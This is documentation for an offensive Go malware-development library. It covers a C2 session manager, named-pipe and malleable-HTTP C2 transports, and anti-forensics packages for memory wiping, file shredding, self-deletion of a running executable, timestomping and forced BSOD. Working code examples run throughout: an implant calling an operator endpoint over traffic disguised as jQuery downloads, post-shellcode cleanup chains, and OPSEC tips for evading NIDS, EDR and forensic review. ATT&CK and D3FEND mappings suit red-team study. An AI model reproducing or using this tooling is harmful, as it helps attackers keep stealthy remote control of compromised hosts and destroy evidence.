The package never runs on a target — it is operator infrastructure. That keeps the detection surface zero.

How it works

sequenceDiagram
    participant Agent as "Implant (c2/shell)"
    participant Mgr as "multicat.Manager"
    participant Op as "Operator UI"

    Agent->>Mgr: Connect (transport)
    Mgr->>Mgr: assign session ID
    Mgr->>Agent: read first line (500ms deadline)
    Agent-->>Mgr: BANNER:lab-host-01\n  (optional)
    Mgr->>Op: Event{Type: EventOpened, Session: …}
    Note over Agent,Mgr: full-duplex shell I/O
    Agent->>Mgr: connection drop
    Mgr->>Op: Event{Type: EventClosed, Session: …}

API Reference

multicat.New() *Manager

godoc

Construct an empty manager.

(*Manager).Listen(ctx context.Context, ln transport.Listener) error

godoc

Accept loop. Blocks until ctx is cancelled or the listener errors.

(*Manager).Events() <-chan Event

godoc

Returns the lifecycle-event channel. Close-safe.

multicat.Session / multicat.SessionMetadata

godoc

Session holds the connection plus a SessionMetadata (ID, Hostname, RemoteAddr).

multicat.EventType

godoc

Enum: EventOpened, EventClosed.

Examples

Simple

import (
    "context"
    "fmt"

    "github.com/oioio-space/maldev/c2/multicat"
    "github.com/oioio-space/maldev/c2/transport"
)

ln, _ := transport.NewTCPListener(":4444")
mgr := multicat.New()
go func() { _ = mgr.Listen(context.Background(), ln) }()

for ev := range mgr.Events() {
    if ev.Type == multicat.EventOpened {
        fmt.Printf("[+] %s from %s\n", ev.Session.Meta.Hostname, ev.Session.Meta.RemoteAddr)
    }
}

Composed (TLS listener + BANNER agents)

Operator side:

ln, _ := transport.NewTLSListener(":8443", "server.crt", "server.key")
mgr := multicat.New()
go mgr.Listen(context.Background(), ln)

Agent side (in c2/shell extension or custom code):

_, _ = conn.Write([]byte("BANNER:" + osHostname + "\n"))

Advanced (channel multiplexer routing into a TUI)

go func() {
    for ev := range mgr.Events() {
        switch ev.Type {
        case multicat.EventOpened:
            ui.Add(ev.Session)
        case multicat.EventClosed:
            ui.Remove(ev.Session.Meta.ID)
        }
    }
}()

Complex

The Manager does not own session selection or interactive "foreground" semantics — that is the operator UI's job. See cmd/rshell for a reference TUI.

See ExampleNew in multicat_example_test.go.

OPSEC & Detection

This package never executes on a target. The only relevant signals are on the agent side (reverse-shell.md).

The operator-side listener is an inbound TCP / TLS port on the operator's box. Common operator-hygiene practices apply: bind on a private interface, front with a redirector (Apache rewrite, Cloudflare worker), put it behind a single jump host.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1571Non-Standard Portlistener typically binds a high non-standard portD3-NTA

Limitations

  • In-memory state. Restarting the manager loses every session. Persist out-of-band (log file, database) if the engagement needs continuity.
  • No interactive multiplexer. The package emits events; the operator UI implements foreground selection, scroll-back, kill-on- exit. cmd/rshell is the reference TUI.
  • BANNER deadline is 500 ms. Lossy networks may miss the BANNER line and treat the bytes as shell I/O. The agent should retry or fall back to inline BANNER once authenticated.
  • No authentication. multicat accepts whoever the listener hands it. For mTLS, configure on the listener (c2/cert).

See also

Named-pipe transport

← c2 index · docs/index

TL;DR

Windows named-pipe implementation of the c2/transport Transport and Listener interfaces. Lets implants beacon over local IPC (no socket, no firewall, no NIDS visibility) or over SMB to another host (lateral C2 routed through the file-share redirector). Pipe traffic is the textbook example of "looks like normal Windows".

Primer

Most C2 traffic leaves the host over TCP / HTTP, where firewalls and NIDS inspect every packet. Windows named pipes are an on-host IPC channel that the OS uses constantly — SMB, RPC, the print spooler, LSASS, every COM out-of-process server. Two processes communicating over a pipe leave zero network artefacts; cross-host pipes (over the SMB redirector) leave SMB session-auditing entries that look identical to legitimate file-share use.

The package implements both sides:

  • Listener (namedpipe.NewListener(name)) — server-side, accepts agents on \\.\pipe\<name>.
  • Transport (namedpipe.New(name, timeout)) — client-side, connects to either \\.\pipe\<name> (local) or \\<host>\pipe\<name> (cross-host SMB).

Either side plugs into the rest of the C2 stack: c2/shell takes a Transport, c2/multicat takes a Listener.

How it works

sequenceDiagram
    participant Server as "namedpipe.Listener"
    participant NP as "\\.\pipe\c2agent"
    participant Client as "namedpipe.Transport (implant)"

    Server->>NP: CreateNamedPipe (instance 1)
    Server->>NP: ConnectNamedPipe (block)
    Client->>NP: CreateFile(\\.\pipe\c2agent)
    NP-->>Server: client connected
    Server->>Server: spawn next instance (CreateNamedPipe)
    Server->>Server: ConnectNamedPipe (block)
    par bidirectional I/O
        Client->>NP: WriteFile (stdin)
        NP-->>Server: ReadFile
        Server->>NP: WriteFile (stdout)
        NP-->>Client: ReadFile
    end

Each Accept returns a connected pipe instance; the listener immediately spawns the next instance so subsequent clients do not block.

API Reference

namedpipe.NewListener(name string) (*Listener, error)

godoc

Server-side. name is the full pipe path (\\.\pipe\c2agent).

(*Listener).Accept(ctx context.Context) (net.Conn, error)

Block until an agent connects. Returns a net.Conn whose Read / Write traverse the pipe.

namedpipe.New(addr string, timeout time.Duration) *NamedPipe

godoc

Client-side. addr is \\.\pipe\<name> (local) or \\<host>\pipe\<name> (SMB). timeout applies to Connect only.

(*NamedPipe).Connect(ctx context.Context) error

Open the pipe.

Standard Transport methods

Read, Write, Close, RemoteAddr follow c2/transport.Transport.

Examples

Simple (local IPC)

Server (operator's relay tool on the same host):

ln, _ := namedpipe.NewListener(`\\.\pipe\c2agent`)
conn, _ := ln.Accept(context.Background())

Implant:

p := namedpipe.New(`\\.\pipe\c2agent`, 5*time.Second)
_ = p.Connect(context.Background())
_, _ = p.Write([]byte("hello"))

Composed (lateral SMB pipe)

Server on OPERATOR-HOST:

ln, _ := namedpipe.NewListener(`\\.\pipe\lat-c2`)

Agent on a different domain-joined host (with credentials to reach the share):

p := namedpipe.New(`\\OPERATOR-HOST\pipe\lat-c2`, 30*time.Second)
_ = p.Connect(context.Background())

The Windows SMB redirector tunnels the pipe over tcp/445. To NIDS this looks like an SMB session; a typical defender focused on web / TLS traffic does not parse SMB content.

Advanced (named-pipe shell + multicat)

Operator side combines multicat with the pipe listener:

import (
    "context"

    "github.com/oioio-space/maldev/c2/multicat"
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/c2/transport/namedpipe"
)

ln, _ := namedpipe.NewListener(`\\.\pipe\c2agent`)
adapter := transport.WrapNetListener(ln) // expose as transport.Listener
mgr := multicat.New()
go mgr.Listen(context.Background(), adapter)

Implant uses the same pipe transport on the agent side via c2/shell.New.

Complex (pipe + named-pipe ACL hardening)

Production pipe servers need an explicit SecurityDescriptor so unprivileged code on the same host cannot connect. The package's default DACL allows Everyone for ease of testing — overwrite it before exposing across hosts. Refer to c2/transport/namedpipe/listener_windows.go for the exact SECURITY_ATTRIBUTES shape.

See ExampleNewListener in namedpipe_example_test.go.

OPSEC & Detection

ArtefactWhere defenders look
Pipe \\.\pipe\<custom-name> opened by an unusual processSysmon Event 17/18 (PipeCreated / PipeConnected) — most defenders are not subscribed by default
Pipe name not matching common services (spoolss, lsass, wkssvc, srvsvc, …)Hunt rules — pick a name that mimics a legitimate service to blend
Cross-host SMB session to \\target\pipe\<name>Windows Security Event 5145 (file-share access) when audit policy is set
Pipe acting as full-duplex shell I/O channelBehavioural EDR rules (rare; the high signal is the pipe + child process pairing)

D3FEND counters:

  • D3-NTA — SMB-traffic profiling.
  • D3-OTF — egress filter blocking outbound tcp/445 outside expected fileservers.

Hardening for the operator: name the pipe to mimic a legitimate service (e.g. \\.\pipe\spoolss-<rand>); set a strict DACL that only the implant's user can connect to; lateral SMB pipes assume tcp/445 is open between hosts — verify before relying on the technique.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1071.001Application Layer Protocol: Web Protocolspipe over SMB lateral pathD3-NTA
T1021.002Remote Services: SMB/Windows Admin Shareswhen bound across hosts via SMB redirectorD3-NTA

Limitations

  • Windows-only. No Unix-domain-socket fallback in this package.
  • DACL defaults are permissive. Override SECURITY_ATTRIBUTES on the listener before exposing across users.
  • SMB pipe needs tcp/445 connectivity between hosts; many segmented networks deny it.
  • Bidirectional only. No half-duplex / shared-channel mode.

See also

Malleable HTTP profiles

← c2 index · docs/index

TL;DR

Wrap any HTTP transport in a profile that shapes traffic to look like benign web activity: GET to plausible CDN-style URIs, custom headers (Referer, Accept), real browser User-Agent, optional data encoders. A network analyst inspecting the wire sees jQuery downloads, not C2 callbacks.

Primer

TLS encrypts payload bytes; it does not hide HTTP structure. Network analysts who terminate TLS at a corporate proxy (or just see flow metadata) still observe URL paths, request frequencies, header sets, and body sizes. A reverse shell that hits /api/data every five seconds is trivially clusterable.

Malleable profiles steal a trick from Cobalt Strike: shape the C2 into HTTP requests that look like ordinary web traffic. The profile holds:

  • GetURIs — list of URI patterns for data retrieval. The transport rotates through them. Examples: /jquery-3.7.1.min.js, /static/css/bootstrap.min.css.
  • PostURIs — same for data submission.
  • Headers — custom request headers (Referer, Accept, Cache-Control).
  • UserAgent — pinned User-Agent string. Pair with useragent for randomised real-browser UAs.
  • DataEncoder / DataDecoder — optional transforms applied to payload bytes before the request body is built / after the response body is parsed. Lets the operator wrap C2 in (e.g.) a fake JSON envelope, hide it inside an image-shaped blob, or further encrypt on top of TLS.

How it works

sequenceDiagram
    participant Sh as "c2/shell or stager"
    participant Mal as "Malleable transport"
    participant CDN as "Operator handler (looks like CDN)"

    Sh->>Mal: Write([]byte("ls /etc"))
    Mal->>Mal: DataEncoder(bytes)
    Mal->>CDN: GET /jquery-3.7.1.min.js<br>Referer: https://docs.example/<br>User-Agent: Chrome/124
    CDN-->>Mal: 200 OK + payload-as-jquery
    Mal->>Mal: DataDecoder(body)
    Mal-->>Sh: Read → []byte("/etc/passwd contents")

The handler on the operator side accepts requests on the same URIs and responds with the next chunk. With realistic timing (jitter, sleep) the traffic is indistinguishable from a slow CDN page-load.

API Reference

transport.Profile

godoc

type Profile struct {
    GetURIs     []string
    PostURIs    []string
    Headers     map[string]string
    UserAgent   string
    DataEncoder func([]byte) []byte
    DataDecoder func([]byte) []byte
}

transport.NewMalleable(address string, timeout time.Duration, profile *Profile, opts ...MalleableOption) *Malleable

godoc

Construct a malleable HTTP transport. address is the operator endpoint (https://operator.example); profile shapes traffic; opts include WithTLSConfig(...) to inject a custom *http.Transport (typically holding the uTLS / cert-pin configuration).

transport.WithTLSConfig(*http.Transport) MalleableOption

godoc

Inject the underlying *http.Transport. Compose with uTLS or fingerprint-pinning to harden the connection layer.

Examples

Simple

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/transport"
)

profile := &transport.Profile{
    GetURIs:   []string{"/jquery-3.7.1.min.js", "/popper.min.js"},
    PostURIs:  []string{"/api/v2/telemetry"},
    Headers:   map[string]string{"Referer": "https://docs.example/"},
    UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64) AppleWebKit/537.36 Chrome/124",
}
tr := transport.NewMalleable("https://operator.example", 10*time.Second, profile)
_ = tr.Connect(context.Background())

Composed (pair with the useragent package)

import (
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/useragent"
)

db, _ := useragent.Load()
ua := db.Filter(func(e useragent.Entry) bool { return e.Browser == "Chrome" }).Random()

profile := &transport.Profile{
    GetURIs:   []string{"/jquery-3.7.1.min.js"},
    UserAgent: ua.UserAgent,
}
tr := transport.NewMalleable("https://operator.example", 10*time.Second, profile)
_ = tr.Connect(context.Background())

Advanced (encoder pair — wrap C2 in a fake JSON body)

import (
    "encoding/base64"
    "fmt"
)

profile := &transport.Profile{
    PostURIs: []string{"/api/v1/events"},
    DataEncoder: func(b []byte) []byte {
        return []byte(fmt.Sprintf(`{"event":"page_view","payload":%q}`,
            base64.StdEncoding.EncodeToString(b)))
    },
    DataDecoder: func(b []byte) []byte {
        // Parse JSON, base64-decode payload, return raw bytes.
        // Implementation omitted.
        return decodeJSONPayload(b)
    },
}

Complex (full chain — uTLS + cert pin + malleable + shell)

import (
    "crypto/tls"
    "net/http"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

httpTr := &http.Transport{
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}

profile := &transport.Profile{
    GetURIs:   []string{"/jquery-3.7.1.min.js", "/bootstrap.min.css"},
    PostURIs:  []string{"/api/v2/metrics"},
    UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64) Chrome/124",
    Headers:   map[string]string{"Referer": "https://docs.example/"},
}
tr := transport.NewMalleable("https://cdn.example.com", 10*time.Second, profile,
    transport.WithTLSConfig(httpTr))

sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

OPSEC & Detection

ArtefactWhere defenders look
Identical URI in every C2 cycleNIDS clustering — rotate through GetURIs and randomise
Stale User-Agent stringsDefenders periodically refresh "real browser UA" lists; pair with useragent for fresh entries
Referer always identical or absentBehavioural NIDS; vary the Referer per cycle if possible
POST/GET ratio mismatched with cover content (e.g. constant POSTs to a "static asset" URI)Heuristic — match GET/POST distribution to the cover content
Body size patterns (every request exactly 32 KB)Add randomised padding inside DataEncoder
TLS handshake fingerprintPair with uTLS via WithTLSConfig + a uTLS-backed *http.Transport

D3FEND counters:

  • D3-NTA — content + header analysis on TLS-terminated traffic.
  • D3-FCR — YARA-like rules on response bodies.

Hardening for the operator: keep GetURIs plausible and rotate; choose a cover that matches the operator endpoint's hostname (a CDN-shaped FQDN paired with /jquery-*.min.js is believable; /api/data is not); randomise jitter at the shell layer.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1071.001Application Layer Protocol: Web ProtocolsHTTP traffic shapingD3-NTA

Limitations

  • No bidirectional streaming. HTTP is request/response. The shell layer batches I/O into discrete chunks.
  • Body size cap. Some CDNs / proxies truncate at 1–10 MB. Chunk large transfers across multiple requests.
  • Encoder/decoder discipline. Profiles are operator + implant pairs — both sides must agree on DataEncoder / DataDecoder.
  • No malleable C2 profile DSL. This package implements the primitives; defining a Cobalt Strike-style .profile DSL parser is out of scope.

See also

Cleanup techniques

← maldev README · docs/index

On-host artifact removal and anti-forensics primitives applied at the end of an operation. Each package targets one specific class of artifact (file on disk, memory region, NTFS timestamp, service registration, in-memory state). Compose them as the implant tears itself down.

TL;DR

flowchart LR
    A[wipe sensitive memory] --> B[reset timestamps]
    B --> C[remove files]
    C --> D[hide service / clear logs]
    D --> E[self-delete or BSOD]

A typical end-of-mission chain: memory.WipeAndFree keys → timestomp any artefacts you can't delete → wipe.File what you can → service.HideService or unregister → selfdelete.Run (or bsod.Trigger if egress is critical).

Packages

PackageTech pageDetectionOne-liner
cleanup/adsads.mdquietNTFS Alternate Data Streams CRUD
cleanup/bsodbsod.mdvery-noisyTrigger BSOD via NtRaiseHardError — last-resort kill switch
cleanup/memorymemory-wipe.mdvery-quietSecureZero / WipeAndFree / DoSecret for in-process secrets
cleanup/selfdeleteself-delete.mdmoderateDelete the running EXE via NTFS ADS rename + delete-on-close
cleanup/serviceservice.mdnoisyHide a Windows service via DACL manipulation
cleanup/timestomptimestomp.mdquietReset $STANDARD_INFORMATION MAC timestamps
cleanup/wipewipe.mdquietMulti-pass random overwrite then os.Remove

Quick decision tree

You want to…Use
…forget keys/credentials still in process memorymemory.SecureZero or memory.WipeAndFree
…make a dropped artefact's mtime match notepad.exetimestomp.CopyFrom
…shred a file before removing itwipe.File (low-volume forensics) or pair it with timestomp
…delete the running EXE and exit cleanlyselfdelete.Run
…terminate the host immediately to stop log shippingbsod.Trigger (last resort)
…hide a Windows service from services.mscservice.HideService
…stash a payload on disk where Explorer can't see itads.Write

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1070Indicator Removalcleanup/memory, cleanup/timestomp, cleanup/wipe, cleanup/selfdeleteD3-RAPA, D3-PFV
T1070.004File Deletioncleanup/wipe, cleanup/selfdeleteD3-PFV
T1070.006Timestompcleanup/timestompD3-FH (File Hashing)
T1529System Shutdown/Rebootcleanup/bsodD3-PSEP
T1543.003Create or Modify System Process: Windows Servicecleanup/serviceD3-RAPA
T1564Hide Artifactscleanup/service, cleanup/adsD3-RAPA
T1564.004NTFS File Attributescleanup/adsD3-FCR (File Content Rules)

See also

Secure memory cleanup

← cleanup index · docs/index

TL;DR

Three primitives to erase sensitive data from process memory before it shows up in a crash dump, a debugger inspection, or a kernel-level process scan: SecureZero (slice), WipeAndFree (VirtualAlloc'd region), DoSecret (function-call scope).

Primer

After your shellcode runs, its decrypted bytes, encryption keys, and C2 addresses sit in process memory. If the process is dumped — by an analyst, EDR memory scanner, or LSASS-style live snapshot — that data is exposed.

Naïve approaches fail:

  • for i := range buf { buf[i] = 0 } — Go's optimizer happily removes the writes if it sees you don't read the buffer afterwards.
  • copy(buf, make([]byte, len(buf))) — same problem.

Go's clear builtin is treated as an intrinsic the compiler must NOT optimize away. SecureZero wraps it. WipeAndFree adds the VirtualProtect → write zeros → VirtualFree sequence required when the memory came from windows.VirtualAlloc. DoSecret is the experimental Go 1.26 runtimesecret mode: register/stack/heap erasure on function return.

How it works

flowchart LR
    subgraph SecureZero
        BUF["[]byte"] --> CLEAR["clear(buf)<br>(intrinsic, not elidable)"]
        CLEAR --> ZEROED["all bytes 0x00"]
    end
    subgraph WipeAndFree
        VA["VirtualAlloc'd region"] --> PROT["VirtualProtect → RW"]
        PROT --> WRITE["zero loop"]
        WRITE --> FREE["VirtualFree(MEM_RELEASE)"]
    end
    subgraph DoSecret
        FN["func() { … }"] --> RUN["call inside runtime.Secret guard"]
        RUN --> ERASE["registers + stack + heap temps zeroed"]
        ERASE --> RET["return to caller"]
    end

SecureZero is the everyday tool. WipeAndFree is for the post-shellcode RWX page. DoSecret is the new hotness — wrap any sensitive computation unconditionally; without runtimesecret it's a no-op call.

API Reference

SecureZero(b []byte)

godoc

Overwrite b with zeros via clear.

Parameters: b — slice to zero. Length unchanged. Cap unchanged.

Returns: none. Slice is mutated in place.

Side effects: none beyond the write.

OPSEC: invisible to user-mode hooks. Kernel ETW sees nothing.

WipeAndFree(addr uintptr, size uint32) error (Windows-only)

godoc

Re-protect addr..addr+size to RW, write zeros, then VirtualFree(MEM_RELEASE).

Parameters: addr — base of a VirtualAlloc'd region. size — bytes to wipe (typically the original allocation size).

Returns: error — wraps VirtualProtect / VirtualFree failures.

Side effects: the region becomes inaccessible after VirtualFree. Reading addr afterwards faults.

OPSEC: standard VirtualProtect + VirtualFree — high-volume legitimate calls.

DoSecret(f func())

godoc

Run f inside a runtime-secret scope. With Go 1.26+ and GOEXPERIMENT=runtimesecret, registers/stack/heap-temporaries used during f are zeroed on return. Without that toolchain, DoSecret is a plain function call.

Parameters: f — function performing the secret computation. Side-effects (writes to outer scope) are preserved.

Returns: none.

Side effects: with the experiment, scratch memory used during f is destroyed.

OPSEC: invisible to user-mode hooks; the runtime erasure happens inside the Go runtime.

Examples

Simple

key := crypto.RandomKey(32)
defer memory.SecureZero(key)
// use key …

Composed (with crypto)

plaintext := decrypt(payload, key)
defer memory.SecureZero(plaintext)
defer memory.SecureZero(key)
// run shellcode …

Advanced (post-injection cleanup)

addr, _ := windows.VirtualAlloc(0, size,
    windows.MEM_COMMIT|windows.MEM_RESERVE,
    windows.PAGE_EXECUTE_READWRITE)
copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), size), shellcode)
runShellcode(addr)
_ = memory.WipeAndFree(addr, uint32(size))

Complex (DoSecret for key derivation)

var derived []byte
memory.DoSecret(func() {
    tmp := pbkdf2(password, salt, 100_000, 32)
    derived = make([]byte, len(tmp))
    copy(derived, tmp)
    memory.SecureZero(tmp) // belt + braces while DoSecret-experiment is non-default
})
// derived is the only surviving copy; password / pbkdf2 internals erased on Go 1.26+

OPSEC & Detection

ArtefactWhere defenders look
VirtualProtect(RWX → RW) then VirtualFree(MEM_RELEASE)EDR call-stack inspection — pattern is benign on its own
Process memory scanner finding zeroed pages where shellcode used to bePeriodic memory scanning (hard for blue at scale)
Crash dump captured BEFORE WipeAndFree runsOut of scope for this primitive — guard with defer early

D3FEND counter: D3-PMA (Process Memory Analysis) — defeated by timely cleanup; remains effective when defender captures dump before cleanup runs.

MITRE ATT&CK

T-IDNameSub-coverage
T1070Indicator Removalin-memory variant

Limitations

  • Cannot cover what's already on disk. If a paged-out region was swapped to pagefile.sys, SecureZero doesn't reach the swap copy. Mitigation: windows.VirtualLock the region, then VirtualUnlock + zero before free.
  • DoSecret register erasure requires GOEXPERIMENT=runtimesecret
    • Go 1.26+ + linux/amd64 or arm64. Without these, it's a plain call.
  • Compiler tail-call elision can leak registers across DoSecret scope on certain architectures — confirm with go tool objdump for high-stakes uses.
  • Crash dumps captured before the defer runs include the secrets in plain text.

See also

Secure file wipe

← cleanup index · docs/index

TL;DR

Multi-pass overwrite a file with crypto/rand bytes, then os.Remove. Cross-platform. Defeats undelete utilities and partition recovery; does NOT defeat physical-layer recovery (residual magnetism on HDDs, SSD wear- levelling remap pools).

Primer

When you os.Remove a file, the OS unlinks the directory entry but the underlying disk blocks remain readable until reused. Tools like PhotoRec, Recuva, and ntfsundelete walk the MFT and recover those blocks. A multi-pass random overwrite makes the recovered content indistinguishable from random — useful for keys, configs, and any short-lived artefact you want to leave behind cleanly.

The countermeasure isn't perfect: SSDs remap blocks transparently, so overwriting "the same file" may write to fresh cells while the original data sits in the wear-levelling pool until the controller rewrites it. For SSD targets, paired host-level encryption (BitLocker, LUKS) is the real answer.

How it works

flowchart TD
    Open["os.OpenFile(path, RDWR)"] --> Stat["fi.Size()"]
    Stat --> Loop{"pass < N?"}
    Loop -- yes --> Rand["read crypto/rand into buf"]
    Rand --> Write["WriteAt(buf, 0..size)"]
    Write --> Sync["f.Sync()"]
    Sync --> Loop
    Loop -- no --> Close["f.Close() + os.Remove(path)"]

Each pass reads a new random buffer (no buffer reuse — fresh randomness forces the filesystem to actually rewrite blocks rather than dedup identical writes). f.Sync() after each pass forces the page cache to flush to disk.

API Reference

File(path string, passes int) error

godoc

Overwrite path with random data passes times, then delete it.

Parameters:

  • path — file to wipe. Must exist and be writable.
  • passes — number of overwrite passes. 1 is sufficient for casual defeat of undelete; 3 is the DoD 5220.22-M minimum (largely superstition for modern SSDs but standard contract). 7+ is gold-plated.

Returns:

  • error — wraps os.OpenFile / WriteAt / Sync / os.Remove failures. nil on success (file no longer exists).

Side effects: writes passes × file_size random bytes to disk.

OPSEC: generates write events of the same size as the file. Pair with timestomp on the parent directory if directory mtime matters.

Examples

Simple

import "github.com/oioio-space/maldev/cleanup/wipe"

if err := wipe.File("/tmp/secret.bin", 3); err != nil {
    log.Fatal(err)
}

Composed (with cleanup/timestomp)

import (
    "github.com/oioio-space/maldev/cleanup/timestomp"
    "github.com/oioio-space/maldev/cleanup/wipe"
)

// Reset parent dir mtime BEFORE wiping the child — otherwise the child
// removal updates the parent dir.
ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, filepath.Dir(target))

_ = wipe.File(target, 3)

// Re-stomp parent (the unlink we just did updated it again).
_ = timestomp.CopyFrom(ref, filepath.Dir(target))

Advanced

End-of-mission cleanup chain:

// 1. Wipe payload droppers
for _, f := range []string{"impl.dll", "loader.exe", "config.json"} {
    _ = wipe.File(filepath.Join(workDir, f), 3)
}

// 2. Reset workdir parent mtime
_ = timestomp.CopyFrom(`C:\Windows\System32\notepad.exe`, filepath.Dir(workDir))

// 3. Self-delete the running EXE
_ = selfdelete.Run()

OPSEC & Detection

ArtefactWhere defenders look
Repeated full-file writes of the same sizeEDR file-IO event aggregation
crypto/rand reads driving large writesRtlGenRandom / BCryptGenRandom event volume
Final unlink eventNTFS $LogFile / Sysmon Event 11

D3FEND counter: D3-PFV (Persistent File Volume Inspection) — file-recovery tooling against journaled filesystems. Mitigates partial overwrites, defeated by complete multi-pass overwrites only on rotational disks.

MITRE ATT&CK

T-IDNameSub-coverage
T1070.004Indicator Removal: File Deletionoverwrite-then-delete variant

Limitations

  • Not effective on SSDs at the physical layer (wear levelling).
  • Not effective on copy-on-write filesystems (ZFS, Btrfs, ReFS) — old blocks survive in the volume's snapshot space until garbage-collected.
  • Filesystem journaling (NTFS $LogFile, ext4 jbd2) may retain metadata copies of file size and name even after the data blocks are overwritten.
  • Antivirus realtime scan may already have copied the file to its scan cache; wiping the original doesn't reach those copies.

See also

Self-deletion (running EXE)

← cleanup index · docs/index

TL;DR

Delete the running executable from disk while the process keeps executing from its in-memory mapped image. The trick: rename the file's default :$DATA stream, then mark for deletion. Windows considers the file "empty" and tolerates deletion of the running EXE. Four entry points trade stealth for portability.

Primer

Windows holds an open handle on a running EXE's image file (it's mapped into the process). os.Remove on a running EXE returns "in use".

The NTFS quirk this package exploits: every file has an unnamed default data stream :$DATA that holds the file's content. NTFS allows you to rename that default stream to a named stream (e.g. :x). After rename, the file from the kernel's perspective has zero bytes in its default stream — and Windows happily deletes the file even though our process still has its image mapped.

Three other paths exist when ADS isn't workable:

  • RunForce(retry, duration) — same trick, retry loop for transient locks.
  • RunWithScript — drop a .bat file that polls until the process exits, then deletes the EXE. Universal, but the batch script is a signature.
  • MarkForDeletionMoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT). No on-disk write, but the PendingFileRenameOperations registry value retains the artefact until next reboot.

How it works

The ADS-rename path:

sequenceDiagram
    participant Proc as "running .exe"
    participant FS as "NTFS driver"
    Note over Proc: GetModuleFileNameW("C:\impl.exe")
    Proc->>FS: CreateFileW(":x", FILE_RENAME_INFO)
    FS->>FS: rename default :$DATA → :x
    FS-->>Proc: success
    Proc->>FS: NtSetInformationFile(FileDispositionInfo, DeleteFile=TRUE)
    FS-->>Proc: success
    Proc->>FS: CloseHandle()
    FS->>FS: file unlinked from MFT
    Note over Proc: process continues executing from mapped image

Step-by-step:

  1. Resolve own path via GetModuleFileNameW(NULL, …).
  2. CreateFileW(path, DELETE | SYNCHRONIZE, FILE_SHARE_READ|WRITE|DELETE, …, OPEN_EXISTING, …).
  3. SetFileInformationByHandle(FileRenameInfo, ":x") — rename default stream.
  4. SetFileInformationByHandle(FileDispositionInfo, DeleteFile=TRUE) — schedule deletion at handle close.
  5. CloseHandle() — file vanishes.
  6. The process continues; its image stays mapped.

API Reference

Run() error

godoc

Canonical ADS-rename + delete-on-close path. Quietest variant.

Parameters: none — operates on the running EXE.

Returns: error — wraps CreateFileW / SetFileInformationByHandle failures. nil on success.

Side effects: EXE file disappears from disk; running process unaffected.

OPSEC: rename + DELETE on a running EXE is unusual; EDR with MFT awareness can flag the FileRenameInfo event.

RunForce(retry int, duration time.Duration) error

godoc

Run with a retry loop for transient ERROR_SHARING_VIOLATION.

RunWithScript(wait time.Duration) error

godoc

Drop a batch script alongside the EXE; the script polls until the process exits, then deletes. Works on FAT/exFAT and on systems where ADS is locked down. Less stealthy.

MarkForDeletion() error

godoc

Schedule deletion at next reboot via MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT). The HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\ PendingFileRenameOperations registry value carries the entry until reboot.

DeleteFile(path string) error

Same primitive applied to an arbitrary path (not the running EXE).

DeleteFileForce(path string, retry int, duration time.Duration) error

DeleteFile + retry loop.

var ErrInvalidHandle error

Sentinel returned when CreateFileW returns INVALID_HANDLE_VALUE.

Examples

Simple

//go:build windows
package main

import "github.com/oioio-space/maldev/cleanup/selfdelete"

func main() {
    defer selfdelete.Run()
    // implant work …
}

Composed (with cleanup/memory)

Wipe in-memory state before disappearing from disk:

defer selfdelete.Run()
defer memory.SecureZero(c2State)
// work …

Advanced (full end-of-mission chain)

defer func() {
    // 1. Reset timestamps so any disk forensic sees a "stale" file.
    _ = timestomp.CopyFrom(`C:\Windows\System32\notepad.exe`, droppedFile)
    // 2. Wipe + delete dropped artefacts.
    _ = wipe.File(droppedFile, 3)
    // 3. Wipe in-memory state.
    memory.SecureZero(stateBuf)
    // 4. Self-delete the running EXE.
    _ = selfdelete.Run()
}()

Complex (RunWithScript fallback)

if err := selfdelete.Run(); err != nil {
    // ADS path failed (FAT volume, locked-down server) — fall back.
    _ = selfdelete.RunWithScript(2 * time.Second)
}

OPSEC & Detection

ArtefactWhere defenders look
FileRenameInfo on a default-stream rename of a running EXESysmon Event 2 (file creation timestamp change) — partial signal
FileDispositionInfo setting DELETE on a running EXESysmon Event 23 (FileDelete)
MFT entry with $BITMAP change (file freed but still in mapping)Forensic-grade MFT analysis
Batch script in %TEMP% (RunWithScript)Sysmon Event 11 + clear signature
PendingFileRenameOperations registry value (MarkForDeletion)Reboot-time analysis

D3FEND counter: D3-FRA (File Removal Analysis) — defeats casual deletion patterns; the ADS-rename variant defeats most file-deletion-watch rules. Hardening: monitor for FileRenameInfo on PE files in writable directories.

MITRE ATT&CK

T-IDNameSub-coverage
T1070.004Indicator Removal: File Deletionself-delete-while-running variant

Limitations

  • NTFS-onlyRun requires ADS support. FAT32, exFAT, ext4 (mounted via WSL), or any mounted SMB share without ADS pass-through fail. Use RunWithScript as fallback.
  • Win11 24H2 (build 26100+)MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT) semantics changed; the PendingFileRenameOperations value is still written but kernel-level processing differs. MarkForDeletion may silently fail on this build. Track in docs/testing.md.
  • Defender realtime scan — if the EXE is in a directory with realtime monitoring (anything not in the exclusion list) the rename may trigger an AV scan that holds the handle long enough to fail SetFileDisposition. Use RunForce.
  • Process Mitigation — some EDRs apply Process Mitigation Policy: ProhibitDynamicCode which doesn't affect this primitive directly, but the same EDR likely watches for the unusual rename pattern.

See also

Timestomp

← cleanup index · docs/index

TL;DR

Reset a file's $STANDARD_INFORMATION timestamps (creation, access, modification) so a dropped artefact blends with system files. Forensic- grade tooling defeats this by comparing against $FILE_NAME timestamps — that disparity is the canonical timestomping tell.

Primer

Every NTFS file has two sets of timestamps:

  • $STANDARD_INFORMATION ($SI) — read by dir, Explorer, os.Stat, GetFileTime. Mutable from user-mode via SetFileTime.
